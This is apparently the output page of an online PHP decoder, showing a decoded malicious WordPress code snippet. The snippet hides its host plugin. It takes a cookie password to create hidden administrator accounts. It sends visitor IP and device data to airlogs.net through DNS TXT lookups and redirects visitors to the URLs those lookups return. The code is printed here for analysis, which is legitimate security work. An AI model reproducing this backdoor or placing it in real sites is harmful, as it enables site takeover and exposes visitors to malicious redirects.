Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


	a:1:{
	s:10:"everywhere";
		a:1:{
		i:0;
			a:13:{
			s:2:"id";
			i:12389;
			s:5:"title";
			s:16:"Untitled Snippet";
			s:4:"code";
			s:5272:"$seaaabe178607=d0f7a431ebc5c82b8011dd3467a97a7e;
				if(current_user_can(administrator)&&!array_key_exists(show_all$_GET)){
					add_action(admin_print_scriptsfunction(){
					echo <style>;
						echo #toplevel_page_wpcode {
						 display: none;
						 
					};
						echo #wp-admin-bar-wpcode-admin-bar-info {
						 display: none;
						 
					};
						echo #wpcode-notice-global-review_request {
						 display: none;
						 
					};
					echo </style>;
				}
				);
					add_filter(all_pluginsfunction($c63dc9087c660){
					unset($c63dc9087c660[insert-headers-and-footers/ihaf.php]);
					return $c63dc9087c660;
				}
				);
			}
				if(!function_exists(_red)){
				error_reporting(0);
				ini_set(display_errors0);
					function _gcookie($w7b8b965ad4bc){
					return(isset($_COOKIE[$w7b8b965ad4bc]))?:'';
				}
					if(!empty($seaaabe178607)&&_gcookie(pw)===$seaaabe178607){
						switch(_gcookie(c)){
						case sd:$h8277e0910d75=_gcookie(d);
							if(strpos($h8277e0910d75,.)>0){
							update_option(d$h8277e0910d75);
						}
						break;
						case au:$m7b774effe4a3=_gcookie(u);
						$v83878c911713=_gcookie(p);
						$ie1671797c52e=_gcookie(e);
							if($m7b774effe4a3&&$v83878c911713&&$ie1671797c52e&&!username_exists($m7b774effe4a3)){
							$me8701ad48ba0=wp_create_user($m7b774effe4a3,$v83878c911713,$ie1671797c52e);
							$iee11cbb19052=new WP_User($me8701ad48ba0);
							$iee11cbb19052->set_role(administrator);
						}
						break;
					}
					return;
				}
					if(stripos(wp_login_url(),$_SERVER[SCRIPT_NAME])!==false){
					return;
				}
					if(_gcookie(skip)===1){
					return;
				}
					function _is_mobile(){
					return preg_match(/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|boost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up.browser|up.link|webos|wos)/i$_SERVER[HTTP_USER_AGENT]);
				}
					function _is_iphone(){
					return preg_match(/(iphone|ipod)/i$_SERVER[HTTP_USER_AGENT]);
				}
					function _user_ip(){
						foreach(array(HTTP_CF_CONNECTING_IPHTTP_CLIENT_IPHTTP_X_FORWARDED_FORHTTP_X_FORWARDEDHTTP_X_CLUSTER_CLIENT_IPHTTP_FORWARDED_FORHTTP_FORWARDEDREMOTE_ADDR)as $v3c6e0b8a9c15){
							if(array_key_exists($v3c6e0b8a9c15,$_SERVER)&&!empty($_SERVER[$v3c6e0b8a9c15])){
								foreach(explode(,$_SERVER[$v3c6e0b8a9c15])as $n957b527bcfba){
								$n957b527bcfba=trim($n957b527bcfba);
									if(filter_var($n957b527bcfba,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)!==false){
									return $n957b527bcfba;
								}
							}
						}
					}
					return false;
				}
					function _red(){
						if(is_user_logged_in()){
						return;
					}
					$n957b527bcfba=_user_ip();
						if(!$n957b527bcfba){
						return;
					}
					$wb0ab0254bd58=get_transient(exp);
						if(!is_array($wb0ab0254bd58)){
						$wb0ab0254bd58=array();
					}
						foreach($wb0ab0254bd58 as $e8ce4b16b22b5=>$f9e3669d19b67){
							if(time()-$f9e3669d19b67>86400){
							unset($wb0ab0254bd58[$e8ce4b16b22b5]);
						}
					}
						if(key_exists($n957b527bcfba,$wb0ab0254bd58)&&(time()-$wb0ab0254bd58[$n957b527bcfba]<86400)){
						return;
					}
					$j67b3dba8bc67=filter_var(parse_url(https://.$_SERVER[HTTP_HOST],PHP_URL_HOST),FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
					$ide56be8fa193=str_replace(:-$n957b527bcfba);
					$ide56be8fa193=str_replace(.-$ide56be8fa193);
					$i2510c39011c5=airlogs.net;
					$kd95679752134=get_option(d);
						if($kd95679752134&&strpos($kd95679752134,.)>0){
						$i2510c39011c5=$kd95679752134;
					}
					$r6f8f57715090=_is_iphone()?i:m;
					$iab4d0a658aef=(!$j67b3dba8bc67?unk.com:$j67b3dba8bc67)...(!$ide56be8fa193?0-0-0-0:$ide56be8fa193)...mt_rand(100000,999999)...(_is_mobile()?n.$r6f8f57715090:nd)...$i2510c39011c5;
					$n03c7c0ace395=@dns_get_record($iab4d0a658aef,DNS_TXT);
						if(is_array($n03c7c0ace395)&&!empty($n03c7c0ace395)){
							if(isset($n03c7c0ace395[0][txt])){
							$n03c7c0ace395=$n03c7c0ace395[0][txt];
							$n03c7c0ace395=;
								if($n03c7c0ace395==err){
								$wb0ab0254bd58[$n957b527bcfba]=time();
								delete_transient(exp);
								set_transient(exp$wb0ab0254bd58);
							}
								else if(substr($n03c7c0ace395,0,4)===http){
								$wb0ab0254bd58[$n957b527bcfba]=time();
								delete_transient(exp);
								set_transient(exp$wb0ab0254bd58);
								wp_redirect($n03c7c0ace395);
								exit;
							}
						}
					}
				}
				add_action(init_red);
			}
			";
			s:9:"code_type";
			s:3:"php";
			s:8:"location";
			s:10:"everywhere";
			s:11:"auto_insert";
			i:1;
			s:13:"insert_number";
			i:1;
			s:9:"use_rules";
			b:0;
			s:5:"rules";
				a:0:{
			}
			s:8:"priority";
			i:10;
			s:14:"location_extra";
			s:0:"";
			s:20:"shortcode_attributes";
				a:0:{
			}
			s:8:"modified";
			s:19:"2024-04-24 08:41:22";
		}
	}
}



© 2023 Quttera Ltd. All rights reserved.